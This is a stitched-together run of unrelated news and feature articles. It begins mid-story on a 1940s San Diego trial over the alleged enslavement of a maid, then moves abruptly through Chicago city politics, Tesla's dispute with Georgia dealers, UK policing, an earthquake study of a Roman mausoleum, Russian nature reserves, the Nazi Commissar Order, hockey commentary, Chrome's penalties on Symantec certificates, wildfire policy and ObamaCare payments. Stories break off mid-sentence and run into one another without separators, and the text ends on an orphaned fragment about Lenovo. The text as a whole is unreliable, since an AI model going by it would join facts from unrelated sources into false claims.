Elizabeth, a descendant of colonial Massachusetts governor William Bradford, still had options after her divorce from Walter. She exercised one in 1918 when she married Alfred Wesley Ingalls, son of a factory owner, descendant of the founder of Lynn, Massachusetts, graduate of Brown University, and future military officer and attorney who was elected to be a representative to the Massachusetts state legislature. Helen was born that same year, and by all measures life appeared good for the family of four. But, with Alfred’s complicity, Elizabeth’s mistreatment of Dora continued, and their daughters grew up observing it. It was a family secret that caused the children to emotionally distance themselves from parents.
You owe me your life
There had been no blacks in the jury pool so there were no blacks seated on the jury when lead prosecuting U.S. Attorney Ernest A. Tolin (later himself a federal judge for the Southern District of California) asserted in his opening statement that Dora’s affair with Elizabeth’s first husband had intensified Dora’s misery. Even before the divorce, Elizabeth had ceased paying Dora for her work. Tolin said Elizabeth, who was the dominant spouse in her marriages, maintained control over Dora by repeatedly threatening to inform the police of Dora’s illegal abortion; by declaring Dora insane and threatening to have her sent to a mental institution; by isolating her from potential friends and relatives; and with frequent reminders of her past “sin” of adultery. “You owe me your life now because you have ruined mine,” Tolin quoted Elizabeth. The proud socialite succeeded in distorting Dora’s self-image. As Tolin explained, Elizabeth tried to convince Dora she was “dull-witted” and that she did not possess the ability to “go out into the world and make her way...that the only way she could expiate her original sin was by staying with her as a common maid for the rest of her life.”
Subsequent testimony by a psychiatrist and by Dr. Ivan M. McCullom, head of the psychology department at San Diego State College, contradicted the idea that Dora was helpless and “dim-witted,” that she in fact had scored a respectable 105 on the IQ test he administered. When the court session concluded, Tolin met with reporters and recounted humiliating and unusual tasks Dora was required to perform for the Ingallses. He informed the gathering that Elizabeth had all of Dora’s teeth extracted and not fitted with dentures. She also made sure Dora’s hair was always cut short, presumably to lessen her attractiveness to men.
Veteran defense counsel Clifford K. Fitzgerald, a former Army captain and director of the San Diego Bar Association, labeled the prosecution’s claims as so much rubbish and revealed he had tried to work out a deal with prosecuting attorneys to allow Elizabeth to exchange correspondence with Dora. (He would later introduce as evidence a letter written by Dora showing some affection for Elizabeth). On the fourth day of trial prosecution, witness William Toomey, a policeman from Lynn, Massachusetts, testified that in 1936 Elizabeth had voiced to him her suspicion that Dora was “losing her mind” and plotting to kill her with poison. This reinforced her ongoing narrative that Dora could be or should be declared insane. The first week of trial had taken a toll on Elizabeth’s composure. Mary Mathes Simpson, a friend of her daughter Helen’s since childhood who had testified she had watched Dora doing menial work “while poorly clothed,” during recess was reported to have been accosted in a courthouse corridor by Elizabeth, a tall stoutly built matron, who slammed her against a wall, cursed at her, and called her a “dirty, dirty skunk.”
On July 1, at the start of the second week of trial, a serious disturbance broke out when an unexpected crowd of 400 determined persons assembled to claim just 80 seats in the courtroom. The crowd was mostly African-Americans. Though smaller than San Francisco’s and far smaller than that of Los Angeles’, the black population of San Diego, thanks to wartime and post-war economic expansion, more than tripled in the decade of the 1940s from 4143 inhabitants in 1940 to 14,904 by 1950 — about 2 percent of the total population. The presiding federal judge of the U.S. Court of the Southern District of California, Jacob Weinberger (namesake of the Jacob Weinberger United States Courthouse on F Street downtown and a president of the United Jewish Fund of San Diego) declined to take the bench until order was restored in the noisy, congested hallway. Two women in the crowd fainted, two men got into a fistfight, and those who could not be seated began chanting loudly, “Let us in! Let us in! Let us in!” It was feared the situation might degenerate into a riot. Responding to a call from the judge for emergency assistance, the two assigned U.S. marshals were reinforced with city policemen who locked arms to prevent entry into the courtroom and warned the crowd that troublemakers would be arrested.
The trial of Dora’s alleged enslavers had captured headlines in black newspapers coast to coast, including the Pittsburgh Courier and Baltimore Afro-American. The Los Angeles Sentinel, the largest black newspaper in the West, sent its editor Leon H. Washington Jr. and special reporter Clinton M. Arnold to San Diego to cover the trial. They not only interviewed the Ingallses, attorneys, and key witnesses, but also gauged the opinions of local African-Americans, among them Dr. Edward A. Bailey, a physician and former president of the San Diego branch of the National Association for the Advancement of Colored People, who expressed optimism that justice would |
former head of the Chicago Urban League in charge of neighborhood economic development.
Emanuel’s move to appoint a prominent African-American woman to the post allows him to address what some critics view as a shortcoming of his administration – a failure to create enough jobs and business opportunities in economically-depressed neighborhoods on the South and West sides. The new cabinet-level position for Zopp also comes as Emanuel works to rebuild trust in the African-American community after his handling of the Laquan McDonald police shooting controversy have driven his approval ratings, particularly among black voters, down to record lows.
In that vein, Emanuel also will announce Thursday morning that the CTA will make improvements to four bus routes and two branches of the Green Line on the South Side.
Zopp will carry both the title of deputy mayor and chief neighborhood development officer to “further drive the mayor’s neighborhood strategy and improve the quality of life in every corner of the city,” Emanuel’s office announced in a news release late Wednesday night.
The Emanuel administration said Zopp will have a wide range of responsibilities on creating growth at small businesses, attracting large companies and manufacturers to the city, improving roads and bridges, adding more parks and fighting crime.
“Zopp’s charge will be to build on these efforts, while driving the work of the entire administration through the lens of building better neighborhoods – from city services to infrastructure to education to economic development to public safety and expanding opportunities in struggling communities,” Emanuel spokeswoman Lauren Huffman said in the news release.
Those are areas that Emanuel came under fire for during his 2015 re-election campaign, when challenger and Cook County Commissioner Jesus “Chuy” Garcia repeatedly railed against what he termed the mayor’s neglect of the neighborhoods. That strategy played to critics who have painted Emanuel as “Mayor 1 percent,” a politician who accepts large political contributions from millionaires and doesn't always put a priority on serving all of the city’s 77 neighborhoods.
Zopp made her first foray into politics last year, when she announced she’d take on U.S. Rep. Tammy Duckworth in the March 2016 Democratic primary for U.S Senate. Zopp finished a distant second in the three-way contest with 24 percent of the vote.
Prior to her run for Senate, Zopp served as the CEO and president of the Chicago Urban League. Zopp also worked in the corporate boardrooms of Sara Lee, Sears Holdings and Exelon, earning an executive salary, but she positioned her Senate campaign as one representing the underserved and impoverished within the African-American community.
That theme dovetails with her new City Hall position, but her background goes beyond business.
A 1981 Harvard Law graduate, Zopp worked in the criminal division in the U.S. attorney’s office. A decade later, she joined the Cook County state’s attorney’s office under Republican Jack O’Malley and went on to become the first woman and first African-American appointed to the position of first state’s attorney.
Emanuel’s office also announced current Deputy Mayor Steve Koch would remain in his position, which he has held since 2012.
Koch, the mayor’s office said, “will continue to oversee economic affairs for the city, including responsibility for the city’s financial team, economic and development policy, driving job growth and attracting corporate headquarters.”
On Thursday, Emanuel and Zopp are scheduled to appear at the 95th Street Red Line station to announce a series of CTA service changes. Here they are, according to the administration:
*The 95th Street bus will combine separate east and west segments to create a continuous route.
*The #4 Cottage Grove bus will extend south from 95th Street to 115th Street.
*The #71 71st Street bus will extend all trips from 73rd to 112th and Torrence, with increased frequency.
*The #26 South Shore Express service will start earlier and run later.
*The #34 Michigan and #119 Michigan/119th bus routes will see more buses running during midday and evening hours.
*The Cottage Grove and Ashland/63rd branches of the Green Line will get more trains during rush hours.Autodealers in Georgia are trying to kick Tesla out of the state and prevent it from selling its Model S sport sedan and upcoming Model X SUV.
The move by the Georgia Automobile Dealers Association comes amid a flurry of fighting over Tesla selling directly to the public without the middleman, or franchise dealership.
Further Reading White House petition for Tesla Motors to sell direct to consumers needs help
The association is seeking to revoke "Tesla's existing dealer license" and to block "any attempt by Tesla to renew or reapply for a dealer or manufacturer license."
The association made that claim last week to the Georgia Department of Revenue, which limits Tesla to selling 150 cars annually in the Peach State under Tesla's direct-to-the-public sales policy. The group says Tesla has sold 173 vehicles in Georgia.
"it's just very simple. We want them to comply with the law the way others are," association president Bill Morie told Automobile News.
Tesla said the association, which represents 500 dealers, has got it all wrong.
“Tesla has been and remains in full compliance with all Georgia laws in the opening and operation of its retail operations in that state,” Tesla spokesman Simon Sproule told Bloomberg News.
The petition, he said, “is nothing more than a thinly veiled attempt to stifle new innovation and eliminate consumer choice by trying to establish a monopoly that restricts the way consumers can buy new vehicles.”
Tesla said it has not breached the 150-car annual limit because the limit applies to accounting during the calendar year. The association's petition shows 173 sedans being sold from October to June, he said.
Tesla operates a store in Marietta, just outside Atlanta.
Tesla has been battling with car dealers over its sales tactics in several states, including Missouri, New Jersey, New York, Ohio, and Pennsylvania.Police forces in England and Wales are failing to take antisocial behaviour seriously and urgent action must be taken to improve understanding of the toll it takes on communities, the head of the police inspectorate has said.
The chief inspector of constabulary, Denis O'Connor, said police forces' recording of information about harassment, criminal damage and verbal abuse was "inadequate" and must be improved immediately.
More than half the 43 forces in England and Wales could not automatically identify people who were repeat victims of antisocial behaviour, leaving police officers ignorant of vulnerable people in need of help.
Other damning results of a survey by HM Inspectorate of Constabulary (HMIC) included the finding that officers failed to turn up to almost one in four (23%) of complaints about antisocial behaviour.
The survey comes in the aftermath of the case of Fiona Pilkington, who killed her severely disabled 18-year-old daughter and herself after they were ongoing victims of antisocial behaviour by gangs near their home in Leicestershire.
"I certainly think, on the basis of what we have got here, we should take antisocial behaviour seriously," O'Connor said. "Because one of the tests we do in the background is how does this impact in terms of crime? It is constant and in their face, personalised, and people like a sanctuary. If they cannot go home in peace, imagine how unnerving it is. I think this undermines confidence if it is not dealt with seriously – confidence not just in the police, but in general."
Sir Hugh Orde, president of the Association of Chief Police Officers, said forces faced "hard choices" in prioritising their time and needed to work better on securing responses to reports of antisocial behaviour from other agencies such as local councils and housing associations.
"There are certainly cases where we could, without question, do better, and every chief constable in the country will be talking about this today to their communities," he told BBC Radio 4's Today programme. "But you can't actually say we are only talking about antisocial behaviour because the police can't just focus on one thing, we have to deal with the whole complexity of policing from antisocial behaviour... right through to organised crime and international terrorism because that's what keeps communities safe in the totalities. We have to make hard choices."
O'Connor said antisocial behaviour was a deeply troubling issue for the public, but that there was no agreed framework among forces on how best to record and deal with it. "An awful lot of police forces have real problems," he said. "There is a lot of it [antisocial behaviour], a lot of it is under-reported and there is a problem with nailing the intelligence around it. It is like going back to the doctor's surgery but you see a difference doctor every time. The more times they suffer, the less confidence people have. There are some heartrending stories."
The home secretary, Alan Johnson, said the government expected all local agencies to prioritise antisocial behaviour: "Antisocial behaviour is to be tackled not tolerated - police and other agencies must protect victims and punish perpetrators."
But the shadow home secretary, Chris Grayling, blamed the prevalence of antisocial behaviour on "Labour's culture of bureaucracy" which he said forced police officers to fill in "endless forms" and limited the time they spent on the streets.
Officials at HMIC have begun further research to draw up a framework to assess the performance of police forces in tackling antisocial behaviour.
The West Mercia assistant chief constable, Simon Edens, the national leader on tackling antisocial behaviour, said officers must work closely with councils, housing providers and parents. "Chief officers recognise that what people want most for the community in which they live is to feel safe in the homes they live in, and on the streets they walk," he added.
"We know that antisocial behaviour matters to the public and that the police service is the only 24-hour, 365 day per year resource that the public can turn to. Of the 3,600 neighbourhood policing teams across the country, most – if not all – of them will have antisocial behaviour as a top or high priority."
The vulnerability of many of the victims of antisocial behaviour was underlined in the HMIC research, which found that one in five repeat victims classed themselves as disabled in some way.By: Charles Q. Choi, OurAmazingPlanet Contributor
Published: 03/20/2013 03:11 PM EDT on LiveScience
The way the massive stone blocks making up a Roman mausoleum in Turkey were knocked off-kilter reveals clues to the power of the earthquake that rocked the structure.
Analyzing other ancient ruins for such damage could help shed light on the history of earthquakes in a region, which could yield insights on what risks that area faces in the future, the scientists who examined the mausoleum said.
The ruins of the city of Pinara date back at least 2,500 years to the ancient realm of Lycia in what is now southwest Turkey. It eventually became part of the Roman Empire.
"Pinara is a very exciting place because it has not been excavated yet," said Klaus-G. Hinzen, a seismologist at the University of Cologne in Germany. "You feel closer to ancient times than you would strolling through a museum with great artifacts."
The top three photos are of the Roman mausoleum at Pinara. The middle three images are reconstructions from laser scans of the mausoleum. The bottom three images are from a computer model of the mausoleum, including hypothetical missing parts.
Hinzen and his colleagues analyzed a Roman mausoleum in Pinara. Built under a sheer cliff nearly 330 feet (110 meters) high, it has a commanding view of the nearby forum and castle and the mountain range to the east.
The mausoleum is mostly intact, but shows signs of damage. Most of its blocks have shifted heavily; some have fallen off its walls, and the front section of the mausoleum is collapsed, including its pillars.
Scientists were uncertain how the mausoleum was damaged. An earthquake seemed a likely culprit, but the cliff the mausoleum is built under is honeycombed with numerous other tombs, and damage from falling rock also seemed a plausible cause.
To help solve the mystery, researchers constructed a 3D model of the mausoleum based on 90 million data points from nine laser scans of the structure.
"Some objects we laser-scanned in Pinara caused more gardening work than geophysical work — we had to remove vegetation to get the laser beam a straight view to the targets," Hinzen said.
The scientists deduced the mausoleum was once made of about 180 stone blocks. Computer simulations analyzing the way it warped revealed that rockfall was not the likely major cause of its damage. Instead, it was likely an earthquake, and based on the level of damage the structure experienced, the simulations suggest the quake was potentially a magnitude 6.3 temblor. [Video: What Earthquake 'Magnitude' Means]
"I was astonished by the sensitivity with which the model of the building reacts to small changes in the ground motion," Hinzen told OurAmazingPlanet. "It is fascinating to watch the movements of the blocks during the calculations. Sometimes when you watch a block or column, you think, now it must topple, but at the end it doesn't."
These findings could help inform seismologists about the likely earthquake hazard this southwestern region of Turkey faces. Such work could also provide information on the effects of ancient earthquakes elsewhere in the world.
"Currently we are testing the hypothesis that the Mycenaean culture was brought to an end, at least in part, by strong earthquakes on the Peloponnese in Greece," Hinzen said. "We're concentrating our work on the Mycenaean citadels of Tiryns and Midea, a project in cooperation with archaeologists from Heidelberg University and Greece."
Hinzen and his colleagues Helen Kehmeier and Stephan Schreiber detailed their findings in the April issue of the journal Bulletin of the Seismological Society of America.
Copyright 2013 LiveScience, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Posted on 06 July 2010
Polar bears, walruses, sea otters, and other endangered species are all set to benefit from a Russian decision to boost its national protected areas to nearly 3 percent of its territory by 2020, a move which helps the country to meet its international obligations to protect biodiversity.
Polar bears, walruses, sea otters, and other endangered species are all set to benefit from a Russian decision to boost its national protected areas to nearly 3 percent of its territory by 2020, a move which helps the country to meet its international obligations to protect biodiversity.The Russian government’s decision establishes 9 new nature reserves and 13 national parks covering a total area of over 3.8 million ha by 2020. Russia is also introducing marine buffer zones of over 1 million ha.“For the first time, development of protected areas in Russia will be based on the analysis of all available data on biological diversity of Russia”, said Vladimir Krever, WWF-Russia biodiversity coordinator.“The creation of protected areas is crucial to save Russia’s diverse and unique biodiversity,” he added.An existing 9 reserves and 1 national park will see their areas increased by 500 thousand ha.The decision was based on an analysis of WWF in cooperation with The Nature Coservancy and MAVA Foundation, carried out between 2006-2008, and is aimed at fulfilling Russia’s commitment under the Convention on Biodiversity to establish effective protected area systems that safeguard biodiversity.The UN has declared 2010 the International Year of Biodiversity, culminating in October at the 10th Conference of the Parties in Nagoya. WWF is calling on governments in Nagoya to adopt a clear roadmap and allocate additional financing to halt biodiversity loss by 2020.Stopping the loss of the planet’s biodiversity should be given the highest priority by governments because it is the foundation for human life providing food, medicine and clean water as well as reducing the impact of natural disasters and climate change. Natural habitats and species underpin the global economy and directly supports billions of people who dependent on forests, fisheries and wetlands for their livelihoods.In 2002 governments pledged to reduce the rate of biodiversity loss by 2010 but despite individual conservation successes, such as in Russia, governments have not met their commitment and biodiversity continues to be lost at alarming rates, international studies show.“We need to understand that protecting biodiversity means not only protecting nature but also our economy and wellbeing. “ By allowing biodiversity loss to continue we are undermining our future,” said Rolf Hogan, Biodiversity Manager at WWF International.Over 300 experts provided original data for the analysis and took part in the discussion. On the basis of this data WWF assessed representativeness of the existing system of federal protected areas and worked out a framework for its further development.As a result, WWF recommended the creation of 70 extra nature reserves and 71 national parks in Russia. Experience has shown that creating more than 2 federal protected areas a year is difficult, so implementation of WWF recommendations will be extended over a few decades. WWF through its members and corporate partners will raise funds to help the Ministry implement the framework.The polished cars of the German military began arriving early at the New Reich Chancellery in Berlin on March 30, 1941. As each chauffeured vehicle pulled to a stop before the building’s main entrance, guards stepped forward, pulled open the passenger doors, and saluted the uniformed occupants as they emerged. Two hundred and fifty officers – the most senior commanders of Operation Barbarossa and their staffs – smartly strode up the stone steps and entered the building for a special conference with their Führer, Adolf Hitler. They knew that Hitler planned to announce the new date for the invasion of the Soviet Union. What they did not know was that Hitler was also going to deliver a notorious order that would make them accessories to war crimes.
The officers entered a cabinet chamber and took their seats according to rank and seniority, with the lowermost located furthest from the lectern. At 11:00 a.m., Adolf Hitler entered the room from the rear and, as the soldiers rose to attention, strode to the rostrum. After the officers had returned to their seats, Hitler began.
He asserted that, despite Great Britain’s holdout, the war had been won in the West. But time was of the essence. Predicting that in four years America would be ascendant as a military power and threat, Hitler said Germany had to complete its conquest of Europe as quickly as possible. The invasion of the Soviet Union would commence on June 22.
Then, he dropped his bombshell. Army Chief of the General Staff Gen. Franz Halder, who took notes during Hitler’s lecture, wrote what Hitler next said:
“The war against Russia will be such that it cannot be conducted in a knightly fashion. This struggle is one of ideologies and racial differences and will have to be conducted with unprecedented, unmerciful, and unrelenting harshness. All officers will have to rid themselves of obsolete ideologies. I know that the necessity for such means of waging war is beyond the comprehension of you generals but... I insist absolutely that my orders be executed without contradiction. The commissars are the bearers of ideologies directly opposed to National Socialism. Therefore the commissars will be liquidated. German soldiers guilty of breaking international law... will be excused. Russia has not participated in the Hague Convention and therefore has no rights under it.”
“The commissars are the bearers of ideologies directly opposed to National Socialism. Therefore the commissars will be liquidated.” – Adolf Hitler
The Wehrmacht senior officers received the full text of Hitler’s Kommissarbefehl, or Commissar Order, the next day and began wrestling with the consequences of the Faustian remilitarization bargain they had made with the Nazis. Captured civilians such as the commissars were to be denied protection under the Geneva Convention and, if possible, executed on the spot.
On May 13, 1941, a codicil, known as the directive of May 13, was added expanding the executions to include civilians “suspected of criminal action” and leaving it up to officers in the field, regardless of rank, to “decide whether they are to be shot.” Needless to say, Jews were also targeted in these orders.
When confronted in the post-war Nuremberg war crimes trials, field marshals and generals who fought on the Eastern Front tried to distance themselves from the notorious orders. Halder claimed they all were outraged and tried to fight them. Typical were comments made by Field Marshal Erich von Manstein, who said, “I told the commander of the Army Group under which I served at that time... that I could not carry out such an order, which was against the honor of a soldier.”
The truth was the commanders swallowed their qualms and carried out the orders. In von Manstein’s case, prosecutors revealed that his 11th Army war diary entry relating to the subject had been pasted over. The original text read: “The new Commander in Chief [von Manstein] does not wish officers to be present at shooting of Jews. This is unworthy of a German officer.” Prosecutors also revealed he advocated “the Jewish Bolshevik system be wiped out once and for all.” In 1950, Von Manstein received a prison sentence of 18 years. In 1952 he was put on medical parole.
The order proved a costly blunder for Hitler. Soviet Union leader Josef Stalin’s brutal rule had killed millions of the country’s citizens. The Ukraine was particularly hard hit. Thus, when the German armies invaded, local populations initially greeted them as liberators. That changed as soon as the Commissar Order was enforced. Soon generals discovered they had two wars on their hands, one on the front lines against the Soviet Army, and one in their rear against partisans. Had Hitler not issued that order, he would have had an indigenous population united for him. Instead, they united against him and contributed to his eventual defeat in the east.The Canucks have been an inconsistent team through the first six games of the season. Many had predicted a slow start based on the short summer and the injury issues with several key players. There have been a few positive stories to come out in the early weeks, as well as some potentially alarming trends that are emerging. The Stanley Cup isn’t won or lost in October, but points are points.
Five Up
5. Better late than never for Cody Hodgson to arrive as a legitimate NHL forward. Through the first six games, he’s looked much bigger, stronger, and confident with and without the puck. His play away from the puck is still a work in progress, but he’s shown a lot of creativity and poise, especially on the second power play unit. Unless Marco Sturm and Mikael Samuelsson drink the entire fountain of youth between them, Hodgson will stick around in Vancouver for the season.
4. Ryan Kesler’s early return has yet to benefit the team at all, but it will. He is one of the most complete and dominant two-way forwards in the league. Manny Malhotra has looked better in the past few games, and there are few fourth line centers around the league as complete as Max Lapierre. Vancouver’s strength down the middle with four centers that can play tough minutes is going to help them out immensely as they try and get back on track after a predictably slow start.
3. I wouldn’t go as far as saying that Keith Ballard’s play has been a revelation this season, but he looks leaps and bounds better compared to last season. He’s had a few rough games (the road game in Edmonton last Saturday in particular), and his ice time is still well below where it should be for a defenseman making $4.2 million. However, improved reads defensively, more confidence with the puck, and better communication on the ice with his defensive partner are all very noticeable. Unless the Canucks have an ace up their sleeve in the next few years (Shea Weber, or Kevin Connauton somehow developing hockey sense), Ballard is going to be sticking around and the team needs to get the most it can out of him.
2. Alain Vigneault has proven that his dog house is not a permanent fixture. This may not be a huge issue to many fans, but there are coaches out there who make it impossible for players to escape from the bad books (JM Liles and Joe Sacco in Colorado is a great recent example). Vigneault didn’t give Ballard much of an opportunity last season to prove his worth (the argument could be made he didn’t deserve one), and he never seemed to be the most ardent supporter of Hodgson, either. Both were given fresh slates this season from the coaching staff – something that all players deserve.
1. Pierre McGuire has moved to NBC full time. I thought Alyn McCauley did a great job calling the game on TSN as the color analyst last night, even if he is a former Leaf. McGuire’s passion for hockey is commendable, but his fascination with broken sticks and small prairie towns is not.
Five Down
5. Secondary scoring has been nonexistent. Aside from a solid start from Cody Hodgson and Chris Higgins, the depth forwards have been nowhere to be found on the stat sheet.
4. Alex Edler hasn’t entered beast mode, just yet. The soft-spoken and hard-hitting defenseman seems to have two levels of play – “I don’t give a crap” and “I’m going to destroy the opposition.” The Canucks would prefer he settle somewhere closer to the latter.
3. With Samuelsson, the good (a great interview, experience, poise with the puck, creativity on the power play, love of shooting the puck from anywhere on the ice) comes with the bad (extremely low percentage plays, lackadaisical play away from the puck, and a love of shooting from anywhere on the ice). He’s going to bounce back this season (he’s playing with extremely talented players on the top unit), but the bad has outweighed the good so far.
2. Could free agent flop Marco Sturm have gotten off to a worse start? I trust Mike Gillis’ judgement of hockey players (he hasn’t been perfect in his time as a general manager, though), but I’m not really sure what he and/or his scouting staff saw in Sturm last season. A player who relied immensely on his speed coming off of two very serious knee procedures? Sturm has looked a step behind the play, both physically and mentally. The NHL regular season is a marathon and not a race, but Sturm looks to be done as a top six forward (unless the aforementioned fountain of youth makes an appearance).
1. Mr. October is back. Roberto Luongo needs to start taking an annual October trip to Joshua Tree, collect his thoughts, and return in November. He’s been awful every October, but this year seems to be exponentially worse with the memory of the Stanley Cup Final collapse(s) still fresh in people’s minds. The team really needs to rally behind him with the tensions increasing between the player, the fans, and the local media. We’ve run enough crap goaltenders out of this town, the focus should be on keeping the good ones around.In a severe rebuke of one of the biggest suppliers of HTTPS credentials, Google Chrome developers announced plans to drastically restrict transport layer security certificates sold by Symantec-owned issuers following the discovery they have allegedly mis-issued more than 30,000 certificates.
Effective immediately, Chrome plans to stop recognizing the extended validation status of all certificates issued by Symantec-owned certificate authorities, Ryan Sleevi, a software engineer on the Google Chrome team, said Thursday in an online forum. Extended validation certificates are supposed to provide enhanced assurances of a site's authenticity by showing the name of the validated domain name holder in the address bar. Under the move announced by Sleevi, Chrome will immediately stop displaying that information for a period of at least a year. In effect, the certificates will be downgraded to less-secure domain-validated certificates.
More gradually, Google plans to update Chrome to effectively nullify all currently valid certificates issued by Symantec-owned CAs. With Symantec certificates representing more than 30 percent of the Internet's valid certificates by volume in 2015, the move has the potential to prevent millions of Chrome users from being able to access large numbers of sites. What's more, Sleevi cited Firefox data that showed Symantec-issued certificates are responsible for 42 percent of all certificate validations. To minimize the chances of disruption, Chrome will stagger the mass nullification in a way that requires they be replaced over time. To do this, Chrome will gradually decrease the "maximum age" of Symantec-issued certificates over a series of releases. Chrome 59 will limit the expiration to no more than 33 months after they were issued. By Chrome 64, validity would be limited to nine months.
Thursday's announcement is only the latest development in Google's 18-month critique of practices by Symantec issuers. In October 2015, Symantec fired an undisclosed number of employees responsible for issuing test certificates for third-party domains without the permission of the domain holders. One of the extended-validation certificates covered google.com and www.google.com and would have given the person possessing it the ability to cryptographically impersonate those two addresses. A month later, Google pressured Symantec into performing a costly audit of its certificate issuance process after finding the mis-issuances went well beyond what Symantec had first revealed.
In January, an independent security researcher unearthed evidence that Symantec improperly issued 108 new certificates. Thursday's announcement came after Google's investigation revealed that over a span of years, Symantec CAs have improperly issued more than 30,000 certificates. Such mis-issued certificates represent a potentially critical threat to virtually the entire Internet population because they make it possible for the holders to cryptographically impersonate the affected sites and monitor communications sent to and from the legitimate servers. They are a major violation of the so-called baseline requirements that major browser makers impose of CAs as a condition of being trusted by major browsers.
In Thursday's post, Sleevi wrote:
As captured in Chrome's Root Certificate Policy, root certificate authorities are expected to perform a number of critical functions commensurate with the trust granted to them. This includes properly ensuring that domain control validation is performed for server certificates, to audit logs frequently for evidence of unauthorized issuance, and to protect their infrastructure in order to minimize the ability for the issuance of fraudulent certs. On the basis of the details publicly provided by Symantec, we do not believe that they have properly upheld these principles, and as such, have created significant risk for Google Chrome users. Symantec allowed at least four parties access to their infrastructure in a way to cause certificate issuance, did not sufficiently oversee these capabilities as required and expected, and when presented with evidence of these organizations' failure to abide to the appropriate standard of care, failed to disclose such information in a timely manner or to identify the significance of the issues reported to them. These issues, and the corresponding failure of appropriate oversight, spanned a period of several years, and were trivially identifiable from the information publicly available or that Symantec shared. The full disclosure of these issues has taken more than a month. Symantec has failed to provide timely updates to the community regarding these issues. Despite having knowledge of these issues, Symantec has repeatedly failed to proactively disclose them. Further, even after issues have become public, Symantec failed to provide the information that the community required to assess the significance of these issues until they had been specifically questioned. The proposed remediation steps offered by Symantec have involved relying on known-problematic information or using practices insufficient to provide the level of assurance required under the Baseline Requirements and expected by the Chrome Root CA Policy.
In an e-mailed statement, Symantec officials wrote:
As the world’s leading cyber security company and the market leading Certificate Authority, we understand the importance of the trust chain we provide for our customers and everyone who uses the Internet. We learned of Google’s proposal when they posted it on their blog today. Their communication was unexpected and their proposed action is irresponsible. Our SSL/TLS certificate customers and partners need to know that this does not require any action at this time.
Symantec's repeated violations underscore one of the problems Google and others have in enforcing terms of the baseline requirements. When violations are carried out by issuers with a big enough market share they're considered too big to fail. If Google were to nullify all of the Symantec-issued certificates overnight, it might cause widespread outages. The penalties outlined by Sleevi seem to be aimed at minimizing such disruptions while still exacting a meaningful punishment.
The penalties immediately revoke only the status of extended validation certificates issued by Symantec, a move that is likely to be a major annoyance to many Symantec customers and their website visitors, but not make sites unavailable. The untrusting of all Symantec certificates, meanwhile, has a much higher potential of creating Internet-wide problems.
As Sleevi explained it: "By phasing such changes in over a series of releases, we aim to minimize the impact any given release poses, while still continually making progress towards restoring the necessary level of security to ensure Symantec-issued certificates are as trustworthy as certificates from other CAs."
Update 3/24/2017 08:22 PDT: In a blog post published Friday morning, Symantec officials once again criticized the Google post. The officials also disputed the 30,000 certificate figure.
"Google's statements about our issuance practices and the scope of our past mis-issuances are exaggerated and misleading," they wrote. "For example, Google’s claim that we have mis-issued 30,000 SSL/TLS certificates is not true. In the event Google is referring to, 127 certificates—not 30,000—were identified as mis-issued, and they resulted in no consumer harm. We have taken extensive remediation measures to correct this situation, immediately terminated the involved partner’s appointment as a registration authority (RA), and in a move to strengthen the trust of Symantec-issued SSL/TLS certificates, announced the discontinuation of our RA program."
In an e-mail, Google officials wrote: "We appreciate Symantec's response. This remains an ongoing discussion, and we look forward to continuing our conversations with Symantec about this issue. We want to enable an open and transparent assessment of the compatibility and interoperability risks, relative to potential security threats to our users."As you read this, catastrophic wildfires continue to burn the western United States with no end in sight. More than 8.8 million acres of federal land have burned this summer. The U.S. Forest Service is transferring another $250 million from forest management accounts to battle these fires — a practice known as fire borrowing. This brings the total amount of additional appropriations for wildfires to $700 million for the year — the highest amount since 2002. Yesterday, Congress passed legislation reimbursing the Forest Service for this amount. Unfortunately, more funding alone will not fix our wildfire crisis.
On Sept. 15, the Obama administration implored Congress to address fire borrowing. This is a problem that must be fixed, but dealing with fire borrowing alone only treats the symptoms without addressing the underlying disease.
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On July 9, the House passed H.R. 2647, the Resilient Federal Forests Act. H.R. 2647 treats both the disease of
overgrown, mismanaged forests and the resulting symptoms of wildfire, disease and insect infestations. It solves the fire-borrowing problem and sets in place wise forest management policies that reduce the risk of future catastrophic wild fires.
The timing of the president’s request comes as California Gov. Jerry Brown (D) has already estimated a price tag of $212 million for his state’s efforts to fight wildfires this season. The Valley fire in California is on track to become the worst wildfire in the state’s history. With more than 60 large fires burning across the West and several other “small” fires burning in the same area, costs are estimated to soar even higher.
While federal and state governments are looking at hundreds of millions in costs to fight wildfires, property owners face staggering losses that will likely soar into the billions. With fires continuing to grow, more homes and lives are at risk.
The current lack of preventative forest management action is proving catastrophic for our national forest system. With the threat of massive fires growing every year, addressing only one aspect of the problem is both shortsighted and dangerous. In addition to classifying certain large-scale wildfires as disasters, H.R. 2647 also promotes proper forest management practices based on proven science.
Part of active management is not only prevention but quick reforestation following a catastrophic event. Current regulation includes environmental review processes that are simply too slow to be effective for the removal of dead trees. On average, the Forest Service reforests less than 3 percent of areas destroyed by wildfire. The Resilient Federal Forests Act requires 75 percent of an area impacted by wildfire be reforested within five years and allows for expedited environmental review to ensure the removal of dead trees to pay for reforestation efforts.
The federal government successfully conducted an expedited environmental review for salvage work on forests in Mississippi after Hurricane Katrina. It can do the same on our national forests after wildfires.
These efforts at reforestation and forest management are not small tasks, which is why the bill includes a provision to allow the Forest Service to accept funds from state governments for assistance with management projects. Additionally, tribes will be given the opportunity to assist with the management of national forest lands adjacent to reservations in order to reduce the risk of not only wildfires but also insects and disease.
With the loss of nearly 9 million acres this year due to catastrophic wildfires, Americans — especially those in the West — are seeing the direct impact of ineffective management. We need to deal with this problem in a fiscally responsible way, and that is why we are urging our colleagues in the Senate to quickly take up and pass the Resilient Federal Forests Act. The millions of acres burned, hundreds of millions of dollars in property damage and lost timber and the loss of lives this fire season demand immediate action on this long-term solution.
Westerman has represented Arkansas’s 4th Congressional District since 2015. He sits on the Budget; the Natural Resources; and the Science, Space and Technology committees. Schrader has represented Oregon’s 5th Congressional District since 2009. He sits on the Energy and Commerce Committee.States that voted for President Trump in the 2016 presidential election will be most impacted by his decision to cut off key ObamaCare payments, according to an analysis conducted by The Associated Press.
The study found that 70 percent of those who benefit from the subsidies are from states where Trump won.
In the 30 states that Trump carried, about 4 million people benefit from the cost-sharing payments, the AP reported.
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Nine out of the ten states with the highest percentage of people benefiting from the payments voted for Trump, according to the AP.
The White House announced last week that Trump would end key payments to insurers selling ObamaCare plans.
The decision marked Trump's most aggressive move yet to dismantle the law after multiple GOP efforts to repeal and replace it failed this year.
The Trump administration has continued making the |
there, before you consider that the sale to Lenovo brought another hardware partner on board to the Android ecosystem - a hardware partner ready to attack the low cost high volume markets such as China.
